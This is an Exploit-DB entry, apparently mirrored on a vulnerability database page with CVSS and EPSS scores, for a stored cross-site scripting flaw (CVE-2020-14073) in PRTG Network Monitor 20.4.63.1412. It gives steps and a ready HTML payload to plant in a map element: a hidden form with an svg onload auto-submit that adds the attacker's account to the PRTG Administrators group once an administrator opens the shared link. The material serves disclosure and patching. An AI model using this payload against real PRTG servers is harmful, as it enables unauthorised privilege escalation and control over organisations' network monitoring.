Lucene search

K
exploitdbAmin RawahEDB-ID:49156
HistoryDec 02, 2020 - 12:00 a.m.

PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS

2020-12-0200:00:00
Amin Rawah
www.exploit-db.com
447

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

5.6 Medium

AI Score

Confidence

High

3.5 Low

CVSS2

Access Vector

Access Complexity

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.007 Low

EPSS

Percentile

80.0%

# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS
# Date: 2/12/2020
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/prtg
# Version: 20.4.63.1412 x64
# Tested on: Windows 
# CVE : CVE-2020-14073

Description:
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.

Steps:
1- Login to PRTG system and view source code (currentUserId)
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'
3- In 'HTML After' add the following code:
 <form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name&#95;" value="PRTG&#32;Administrators" />
      <input type="hidden" name="defaulthome&#95;" value="&#47;welcome&#46;htm" />
      <input type="hidden" name="isadgroup" value="0" />
      <input type="hidden" name="adusertype&#95;" value="0" />
      <input type="hidden" name="aduserack&#95;" value="0" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;&#95;check" value="<currentUserId>&#124;<YOUR_USERNAME>&#124;" />
      <input type="hidden" name="users&#95;&#95;check" value="100&#124;PRTG&#32;System&#32;Administrator&#124;" />
      <input type="hidden" name="id" value="200" />
      <input type="hidden" name="targeturl" value="&#47;systemsetup&#46;htm&#63;tabid&#61;6" />
      <input type="submit" value="Submit request" />
    </form>
    <svg/onload='document.forms[0].submit()'/>  
4- Save and share the link with PRTG Administrator.
5- Login with the highest privilege.

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

5.6 Medium

AI Score

Confidence

High

3.5 Low

CVSS2

Access Vector

Access Complexity

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.007 Low

EPSS

Percentile

80.0%